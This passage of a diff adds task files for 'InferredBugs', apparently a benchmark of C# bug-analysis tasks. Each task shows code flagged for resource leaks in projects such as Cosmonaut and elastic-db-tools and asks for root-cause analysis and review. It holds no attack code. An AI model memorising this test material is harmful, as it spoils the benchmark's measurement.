+        /// <param name="logger">The <see cref="ILogger{DotNetCoreDetector}"/>.</param>
+        public DotNetCoreDetector(DefaultProjectFileProvider projectFileProvider, ILogger<DotNetCoreDetector> logger)
+        {
+            _projectFileProvider = projectFileProvider;
+            _logger = logger;
+        }
+
+        /// <inheritdoc/>
+        public PlatformDetectorResult Detect(DetectorContext context)
+        {
+            var projectFile = _projectFileProvider.GetRelativePathToProjectFile(context);
+            if (string.IsNullOrEmpty(projectFile))
+            {
+                return null;
+            }
+
+            var sourceRepo = context.SourceRepo;
+            var projectFileDoc = XDocument.Load(new StringReader(sourceRepo.ReadFile(projectFile)));
+            var targetFrameworkElement = projectFileDoc.XPathSelectElement(
+                DotNetCoreConstants.TargetFrameworkElementXPathExpression);
+            var targetFramework = targetFrameworkElement?.Value;
+            if (string.IsNullOrEmpty(targetFramework))
+            {
+                _logger.LogDebug(
+                    $"Could not find 'TargetFramework' element in the project file.");
+                return null;
+            }
+
+            var version = GetVersion(targetFramework);
+
+            return new DotNetCorePlatformDetectorResult
+            {
+                Platform = DotNetCoreConstants.PlatformName,
+                PlatformVersion = version,
+                ProjectFile = projectFile,
+            };
+        }
+
+        internal string DetermineRuntimeVersion(string targetFramework)
+        {
+            // Ex: "netcoreapp2.2" => "2.2"
+            targetFramework = targetFramework.ToLower().Replace(
+                "netcoreapp",
+                string.Empty);
+
+            // Ex: "2.2" => 2.2
+            if (decimal.TryParse(targetFramework, out var val))
+            {
+                return val.ToString();
+            }
+
+            return null;
+        }
+
+        private string GetVersion(string targetFramework)
+        {
+            var version = DetermineRuntimeVersion(targetFramework);
+            if (version != null)
+            {
+                return version;
+            }
+            _logger.LogDebug(
+                   $"Could not determine runtime version from target framework. ");
+            return null;
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.IO.StringReader::.ctor() at Line 44) of type System.IO.StringReader in method "PlatformDetectorResult DotNetCoreDetector.Detect(DetectorContext)".
+
+### Severity:
+ERROR
+
+### Procedure:
+PlatformDetectorResult DotNetCoreDetector.Detect(DetectorContext)
+
+### File:
+src/Detector/DotNetCore/DotnetCoreDetector.cs
+
+### Key:
+DotnetCoreDetector.cs|Detect|DOTNET_RESOURCE_LEAK
+
+### Hash:
+ea82d5abc65fb5474b148ffebe94f9eb
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2006/instruction.md b/inferredbugs-2006/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..73c883d246226897bc492c83cfe8ff52382ba102
--- /dev/null
+++ b/inferredbugs-2006/instruction.md
@@ -0,0 +1,97 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Cosmonaut
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security;
+using Microsoft.Azure.Documents;
+using Microsoft.Azure.Documents.Client;
+using Moq;
+
+namespace Cosmonaut.Tests
+{
+    public class MockHelpers
+    {
+        public static Mock<IDocumentClient> GetFakeDocumentClient(string databaseName = "databaseName")
+        {
+            var mockDocumentClient = new Mock<IDocumentClient>();
+            var mockDatabase = new Mock<Database>();
+            var mockCollection = new Mock<DocumentCollection>();
+            var mockOffer = new Mock<Offer>();
+            mockDatabase.Setup(x => x.Id).Returns(databaseName);
+            mockCollection.Setup(x => x.Id).Returns("dummies");
+            mockDocumentClient.Setup(x => x.AuthKey).Returns(new SecureString());
+            mockDocumentClient.Setup(x => x.ServiceEndpoint).Returns(new Uri("http://test.com"));
+            mockDocumentClient.Setup(x => x.ReadDatabaseAsync(It.IsAny<string>(), null))
+                .ReturnsAsync(new ResourceResponse<Database>(mockDatabase.Object));
+            mockDocumentClient.Setup(x => x.ReadDocumentCollectionAsync(It.IsAny<string>(), null))
+                .ReturnsAsync(new ResourceResponse<DocumentCollection>(mockCollection.Object));
+            mockDocumentClient.Setup(x => x.CreateDatabaseQuery(null))
+                .Returns(new EnumerableQuery<Database>(new List<Database>() { mockDatabase.Object }));
+            mockDocumentClient.Setup(x => x.CreateDocumentCollectionQuery(It.IsAny<string>(), null))
+                .Returns(new EnumerableQuery<DocumentCollection>(new List<DocumentCollection>() { new DocumentCollection() { Id = "dummies" } }));
+            mockDocumentClient.Setup(x => x.CreateOfferQuery(null)).Returns(
+                new EnumerableQuery<OfferV2>(new List<OfferV2>()
+                {
+                    new OfferV2(mockOffer.Object, 400)
+                }));
+            return mockDocumentClient;
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of System.Security.SecureString::.ctor() at Line 21) of type System.Security.SecureString in method "Mock`1<!0> MockHelpers.GetFakeDocumentClient(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Mock`1<!0> MockHelpers.GetFakeDocumentClient(String)
+
+### File:
+Cosmonaut.Tests/MockHelpers.cs
+
+### Key:
+MockHelpers.cs|GetFakeDocumentClient|DOTNET_RESOURCE_LEAK
+
+### Hash:
+1ed1ce5e7e5d9a4da606f6d6fbc98710
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2007/instruction.md b/inferredbugs-2007/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a1c3fe95c11a00530829105b9f0df24e54c729d8
--- /dev/null
+++ b/inferredbugs-2007/instruction.md
@@ -0,0 +1,970 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** elastic-db-tools
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// Copyright (c) Microsoft. All rights reserved.
+// Licensed under the MIT license. See LICENSE file in the project root for full license information.
+
+using System;
+using System.Collections.Generic;
+using System.Data.SqlClient;
+using System.Diagnostics;
+using System.Threading.Tasks;
+
+namespace Microsoft.Azure.SqlDatabase.ElasticScale.ShardManagement
+{
+    /// <summary>
+    /// Represents a collection of shards and mappings between keys and shards in the collection.
+    /// </summary>
+    public abstract class ShardMap : ICloneable<ShardMap>
+    {
+        /// <summary>
+        /// The mapper belonging to the ShardMap.
+        /// </summary>
+        private DefaultShardMapper _defaultMapper;
+
+        /// <summary>
+        /// Constructs an instance of ShardMap.
+        /// </summary>
+        /// <param name="manager">Reference to ShardMapManager.</param>
+        /// <param name="ssm">Storage representation.</param>
+        internal ShardMap(
+            ShardMapManager manager,
+            IStoreShardMap ssm)
+        {
+            Debug.Assert(manager != null);
+            Debug.Assert(ssm != null);
+
+            this.Manager = manager;
+            this.StoreShardMap = ssm;
+
+            this.ApplicationNameSuffix = GlobalConstants.ShardMapManagerPrefix + ssm.Id.ToString();
+
+            _defaultMapper = new DefaultShardMapper(this.Manager, this);
+        }
+
+        /// <summary>Shard map name.</summary>
+        public string Name
+        {
+            get
+            {
+                return this.StoreShardMap.Name;
+            }
+        }
+
+        /// <summary>Shard map type.</summary>
+        public ShardMapType MapType
+        {
+            get
+            {
+                return this.StoreShardMap.MapType;
+            }
+        }
+
+        /// <summary>Shard map key type.</summary>
+        public ShardKeyType KeyType
+        {
+            get
+            {
+                return this.StoreShardMap.KeyType;
+            }
+        }
+
+        /// <summary>
+        /// Identity.
+        /// </summary>
+        internal Guid Id
+        {
+            get
+            {
+                return this.StoreShardMap.Id;
+            }
+        }
+
+        /// <summary>
+        /// Reference to ShardMapManager.
+        /// </summary>
+        internal ShardMapManager Manager
+        {
+            get;
+            private set;
+        }
+
+        /// <summary>
+        /// Storage representation.
+        /// </summary>
+        internal IStoreShardMap StoreShardMap
+        {
+            get;
+            private set;
+        }
+
+        /// <summary>
+        /// Suffix added to application name in connections.
+        /// </summary>
+        internal string ApplicationNameSuffix
+        {
+            get;
+            private set;
+        }
+
+        /// <summary>
+        /// The tracer
+        /// </summary>
+        private static ILogger Tracer
+        {
+            get
+            {
+                return TraceHelper.Tracer;
+            }
+        }
+
+        /// <summary>
+        /// Converts the object to its string representation.
+        /// </summary>
+        /// <returns>String representation of the object.</returns>
+        public override string ToString()
+        {
+            return StringUtils.FormatInvariant("SM[{0}:{1}:{2}]", this.StoreShardMap.MapType, this.StoreShardMap.KeyType, this.StoreShardMap.Name);
+        }
+
+        /// <summary>
+        /// Opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped, with <see cref="ConnectionOptions.Validate"/>.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <returns>An opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public SqlConnection OpenConnectionForKey<TKey>(
+            TKey key, string connectionString)
+        {
+            return this.OpenConnectionForKey(key, connectionString, ConnectionOptions.Validate);
+        }
+
+        /// <summary>
+        /// Opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped, with <see cref="ConnectionOptions.Validate"/>.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <param name="secureCredential">Secure SQL Credential.</param>
+        /// <returns>An opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public SqlConnection OpenConnectionForKey<TKey>(
+            TKey key, string connectionString, SqlCredential secureCredential)
+        {
+            return this.OpenConnectionForKey(key, connectionString, secureCredential, ConnectionOptions.Validate);
+        }
+
+        /// <summary>
+        /// Opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        /// <returns>An opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public SqlConnection OpenConnectionForKey<TKey>(
+            TKey key,
+            string connectionString,
+            ConnectionOptions options)
+        {
+            return this.OpenConnectionForKey(key, connectionString, null, options);
+        }
+
+        /// <summary>
+        /// Opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <param name="secureCredential">Secure SQL Credential.</param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        /// <returns>An opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public SqlConnection OpenConnectionForKey<TKey>(
+            TKey key,
+            string connectionString,
+            SqlCredential secureCredential,
+            ConnectionOptions options)
+        {
+            ExceptionUtils.DisallowNullArgument(connectionString, "connectionString");
+
+            Debug.Assert(this.StoreShardMap.KeyType != ShardKeyType.None);
+
+            using (ActivityIdScope activityIdScope = new ActivityIdScope(Guid.NewGuid()))
+            {
+                IShardMapper<TKey> mapper = this.GetMapper<TKey>();
+
+                if (mapper == null)
+                {
+                    throw new ArgumentException(
+                        StringUtils.FormatInvariant(
+                            Errors._ShardMap_OpenConnectionForKey_KeyTypeNotSupported,
+                            typeof(TKey),
+                            this.StoreShardMap.Name,
+                            ShardKey.TypeFromShardKeyType(this.StoreShardMap.KeyType)),
+                            "key");
+                }
+
+                Debug.Assert(mapper != null);
+
+                return mapper.OpenConnectionForKey(
+                    key,
+                    new SqlConnectionInfo(
+                        connectionString,
+                        secureCredential),
+                    options);
+            }
+        }
+
+        /// <summary>
+        /// Asynchronously opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped, with <see cref="ConnectionOptions.Validate"/>.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <returns>A Task encapsulating an opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public Task<SqlConnection> OpenConnectionForKeyAsync<TKey>(
+            TKey key, string connectionString)
+        {
+            return this.OpenConnectionForKeyAsync(key, connectionString, ConnectionOptions.Validate);
+        }
+
+        /// <summary>
+        /// Asynchronously opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped, with <see cref="ConnectionOptions.Validate"/>.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <param name="secureCredential">Secure SQL Credential.</param>
+        /// <returns>A Task encapsulating an opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public Task<SqlConnection> OpenConnectionForKeyAsync<TKey>(
+            TKey key, string connectionString, SqlCredential secureCredential)
+        {
+            return this.OpenConnectionForKeyAsync(key, connectionString, secureCredential, ConnectionOptions.Validate);
+        }
+
+        /// <summary>
+        /// Asynchronously opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        /// <returns>A Task encapsulating an opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public Task<SqlConnection> OpenConnectionForKeyAsync<TKey>(
+            TKey key,
+            string connectionString,
+            ConnectionOptions options)
+        {
+            return OpenConnectionForKeyAsync(key, connectionString, null, options);
+        }
+
+        /// <summary>
+        /// Asynchronously opens a regular <see cref="SqlConnection"/> to the shard 
+        /// to which the specified key value is mapped.
+        /// </summary>
+        /// <typeparam name="TKey">Type of the key.</typeparam>
+        /// <param name="key">Input key value.</param>
+        /// <param name="connectionString">
+        /// Connection string with credential information such as SQL Server credentials or Integrated Security settings. 
+        /// The hostname of the server and the database name for the shard are obtained from the lookup operation for key.
+        /// </param>
+        /// <param name="secureCredential">Secure SQL Credential.</param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        /// <returns>A Task encapsulating an opened SqlConnection.</returns>
+        /// <remarks>
+        /// Note that the <see cref="SqlConnection"/> object returned by this call is not protected against transient faults. 
+        /// Callers should follow best practices to protect the connection against transient faults 
+        /// in their application code, e.g., by using the transient fault handling 
+        /// functionality in the Enterprise Library from Microsoft Patterns and Practices team.
+        /// This call only works if there is a single default mapping.
+        /// </remarks>
+        public Task<SqlConnection> OpenConnectionForKeyAsync<TKey>(
+            TKey key,
+            string connectionString,
+            SqlCredential secureCredential,
+            ConnectionOptions options)
+        {
+            ExceptionUtils.DisallowNullArgument(connectionString, "connectionString");
+
+            Debug.Assert(this.StoreShardMap.KeyType != ShardKeyType.None);
+
+            using (ActivityIdScope activityIdScope = new ActivityIdScope(Guid.NewGuid()))
+            {
+                IShardMapper<TKey> mapper = this.GetMapper<TKey>();
+
+                if (mapper == null)
+                {
+                    throw new ArgumentException(
+                        StringUtils.FormatInvariant(
+                            Errors._ShardMap_OpenConnectionForKey_KeyTypeNotSupported,
+                            typeof(TKey),
+                            this.StoreShardMap.Name,
+                            ShardKey.TypeFromShardKeyType(this.StoreShardMap.KeyType)),
+                            "key");
+                }
+
+                Debug.Assert(mapper != null);
+
+                return mapper.OpenConnectionForKeyAsync(
+                    key,
+                    new SqlConnectionInfo(
+                        connectionString,
+                        secureCredential),
+                    options);
+            }
+        }
+
+        /// <summary>
+        /// Gets all shards from the shard map.
+        /// </summary>
+        /// <returns>All shards belonging to the shard map.</returns>
+        [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")]
+        public IEnumerable<Shard> GetShards()
+        {
+            using (ActivityIdScope activityIdScope = new ActivityIdScope(Guid.NewGuid()))
+            {
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "GetShards",
+                    "Start; ");
+
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                IEnumerable<Shard> shards = _defaultMapper.GetShards();
+
+                stopwatch.Stop();
+
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "GetShards",
+                    "Complete; Duration: {0}",
+                    stopwatch.Elapsed);
+
+                return shards;
+            }
+        }
+
+        /// <summary>
+        /// Obtains the shard for the specified location.
+        /// </summary>
+        /// <param name="location">Location of the shard.</param>
+        /// <returns>Shard which has the specified location.</returns>
+        public Shard GetShard(ShardLocation location)
+        {
+            ExceptionUtils.DisallowNullArgument(location, "location");
+
+            using (ActivityIdScope activityIdScope = new ActivityIdScope(Guid.NewGuid()))
+            {
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "GetShard",
+                    "Start; Shard Location: {0} ",
+                    location);
+
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                Shard shard = _defaultMapper.GetShardByLocation(location);
+
+                stopwatch.Stop();
+
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "GetShard",
+                    "Complete; Shard Location: {0}; Duration: {1}",
+                    location,
+                    stopwatch.Elapsed);
+
+                if (shard == null)
+                {
+                    throw new ShardManagementException(
+                        ShardManagementErrorCategory.ShardMap,
+                        ShardManagementErrorCode.ShardDoesNotExist,
+                        Errors._ShardMap_GetShard_ShardDoesNotExist,
+                        location,
+                        this.Name);
+                }
+
+                return shard;
+            }
+        }
+
+        /// <summary>
+        /// Tries to obtains the shard for the specified location.
+        /// </summary>
+        /// <param name="location">Location of the shard.</param>
+        /// <param name="shard">Shard which has the specified location.</param>
+        /// <returns><c>true</c> if shard with specified location is found, <c>false</c> otherwise.</returns>
+        public bool TryGetShard(ShardLocation location, out Shard shard)
+        {
+            ExceptionUtils.DisallowNullArgument(location, "location");
+
+            using (ActivityIdScope activityIdScope = new ActivityIdScope(Guid.NewGuid()))
+            {
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "TryGetShard",
+                    "Start; Shard Location: {0} ",
+                    location);
+
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                shard = _defaultMapper.GetShardByLocation(location);
+
+                stopwatch.Stop();
+
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "TryGetShard",
+                    "Complete; Shard Location: {0}; Duration: {1}",
+                    location,
+                    stopwatch.Elapsed);
+
+                return shard != null;
+            }
+        }
+
+        /// <summary>
+        /// Creates a new shard and registers it with the shard map.
+        /// </summary>
+        /// <param name="shardCreationArgs">Information about shard to be added.</param>
+        /// <returns>A new shard registered with this shard map.</returns>
+        [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0")]
+        public Shard CreateShard(ShardCreationInfo shardCreationArgs)
+        {
+            ExceptionUtils.DisallowNullArgument(shardCreationArgs, "shardCreationArgs");
+
+            using (ActivityIdScope activityId = new ActivityIdScope(Guid.NewGuid()))
+            {
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "CreateShard",
+                    "Start; Shard: {0} ",
+                    shardCreationArgs.Location);
+
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                Shard shard = _defaultMapper.Add(
+                    new Shard(
+                        this.Manager,
+                        this,
+                        shardCreationArgs));
+
+                stopwatch.Stop();
+
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "CreateShard",
+                    "Complete; Shard: {0}; Duration: {1}",
+                    shard.Location,
+                    stopwatch.Elapsed);
+
+                return shard;
+            }
+        }
+
+        /// <summary>
+        /// Atomically adds a shard to ShardMap using the specified location.
+        /// </summary>
+        /// <param name="location">Location of shard to be added.</param>
+        /// <returns>A shard attached to this shard map.</returns>
+        public Shard CreateShard(ShardLocation location)
+        {
+            ExceptionUtils.DisallowNullArgument(location, "location");
+
+            using (ActivityIdScope activityId = new ActivityIdScope(Guid.NewGuid()))
+            {
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "CreateShard",
+                    "Start; Shard: {0} ",
+                    location);
+
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                Shard shard = _defaultMapper.Add(
+                    new Shard(
+                        this.Manager,
+                        this,
+                        new ShardCreationInfo(location)));
+
+                stopwatch.Stop();
+
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "CreateShard",
+                    "Complete; Shard: {0}; Duration: {1}",
+                    location,
+                    stopwatch.Elapsed);
+
+                return shard;
+            }
+        }
+
+        /// <summary>
+        /// Removes a shard from ShardMap.
+        /// </summary>
+        /// <param name="shard">Shard to remove.</param>
+        [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0")]
+        public void DeleteShard(Shard shard)
+        {
+            ExceptionUtils.DisallowNullArgument(shard, "shard");
+
+            using (ActivityIdScope activityId = new ActivityIdScope(Guid.NewGuid()))
+            {
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "DeleteShard",
+                    "Start; Shard: {0} ",
+                    shard.Location);
+
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                _defaultMapper.Remove(shard);
+
+                stopwatch.Stop();
+
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "DeleteShard",
+                    "Complete; Shard: {0}; Duration: {1}",
+                    shard.Location,
+                    stopwatch.Elapsed);
+            }
+        }
+
+        /// <summary>
+        /// Updates a shard with the changes specified in the <paramref name="update"/> parameter.
+        /// </summary>
+        /// <param name="currentShard">Shard being updated.</param>
+        /// <param name="update">Updated properties of the shard.</param>
+        /// <returns>New Shard with updated information.</returns>
+        [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0")]
+        internal Shard UpdateShard(Shard currentShard, ShardUpdate update)
+        {
+            ExceptionUtils.DisallowNullArgument(currentShard, "currentShard");
+            ExceptionUtils.DisallowNullArgument(update, "update");
+
+            using (ActivityIdScope activityIdScope = new ActivityIdScope(Guid.NewGuid()))
+            {
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "UpdateShard",
+                    "Start; Shard: {0}",
+                    currentShard.Location);
+
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                Shard shard = _defaultMapper.UpdateShard(currentShard, update);
+
+                stopwatch.Stop();
+
+                Tracer.TraceInfo(
+                    TraceSourceConstants.ComponentNames.ShardMap,
+                    "UpdateShard",
+                    "Complete; Shard: {0}; Duration: {1}",
+                    currentShard.Location,
+                    stopwatch.Elapsed);
+
+                return shard;
+            }
+        }
+
+        /// <summary>
+        /// Opens a connection to the given shard provider.
+        /// </summary>
+        /// <param name="shardProvider">Shard provider containing shard to be connected to.</param>
+        /// <param name="connectionString">Connection string for connection. Must have credentials.</param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        internal SqlConnection OpenConnection(
+            IShardProvider shardProvider,
+            string connectionString,
+            ConnectionOptions options = ConnectionOptions.Validate)
+        {
+            return this.OpenConnection(
+                shardProvider,
+                new SqlConnectionInfo(connectionString, null),
+                options);
+        }
+
+        /// <summary>
+        /// Opens a connection to the given shard provider.
+        /// </summary>
+        /// <param name="shardProvider">Shard provider containing shard to be connected to.</param>
+        /// <param name="connectionInfo">Connection info for connection. Must have credentials.</param>
+        /// <param name="options">Options for validation operations to perform on opened connection.</param>
+        [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Caller will be responsible for disposal")]
+        internal SqlConnection OpenConnection(
+            IShardProvider shardProvider,
+            SqlConnectionInfo connectionInfo,
+            ConnectionOptions options = ConnectionOptions.Validate)
+        {
+            Debug.Assert(shardProvider != null, "Expecting IShardProvider.");
+            ExceptionUtils.DisallowNullArgument(connectionInfo, "connectionInfo");
+            ExceptionUtils.DisallowNullArgument(connectionInfo.ConnectionString, "connectionInfo.ConnectionString");
+
+            connectionInfo = this.ValidateAndPrepareConnectionString(
+                shardProvider,
+                connectionInfo);
+
+            ExceptionUtils.EnsureShardBelongsToShardMap(
+                this.Manager,
+                this,
+                shardProvider.ShardInfo,
+                "OpenConnection",
+                "Shard");
+
+            IUserStoreConnection conn = this.Manager.StoreConnectionFactory.GetUserConnection(connectionInfo);
+
+            Tracer.TraceInfo(
+                TraceSourceConstants.ComponentNames.ShardMap,
+                "OpenConnection", "Start; Shard: {0}; Options: {1}; ConnectionString: {2}",
+                shardProvider.ShardInfo.Location,
+                options,
+                connectionInfo.ConnectionString);
+
+            using (ConditionalDisposable<IUserStoreConnection> cd = new ConditionalDisposable<IUserStoreConnection>(conn))
+            {
+                Stopwatch stopwatch = Stopwatch.StartNew();
+
+                conn.Open();
+
+                stopwatch.Stop();
+
+                // If validation is requested.
+                if ((options & ConnectionOptions.Validate) == ConnectionOptions.Validate)
+                {
+                    shardProvider.Validate(this.StoreShardMap, conn.Connection);
+                }
+
+                cd.DoNotDispose = true;
+
+                Tracer.TraceInfo(
+                TraceSourceConstants.ComponentNames.ShardMap,
+                "OpenConnection", "Complete; Shard: {0}; Options: {1}; Open Duration: {2}",
+                shardProvider.ShardInfo.Location,
+                options,
+                stopwatch.Elapsed);
+            }
+            
+            return conn.Connection;
+        }
+
+        /// <summary>
+        /// Asynchronously opens a connection to the given shard provider.
+        /// </summary>
+        /// <param name="shardProvider">Shard provider containing shard to be connected to.</param>
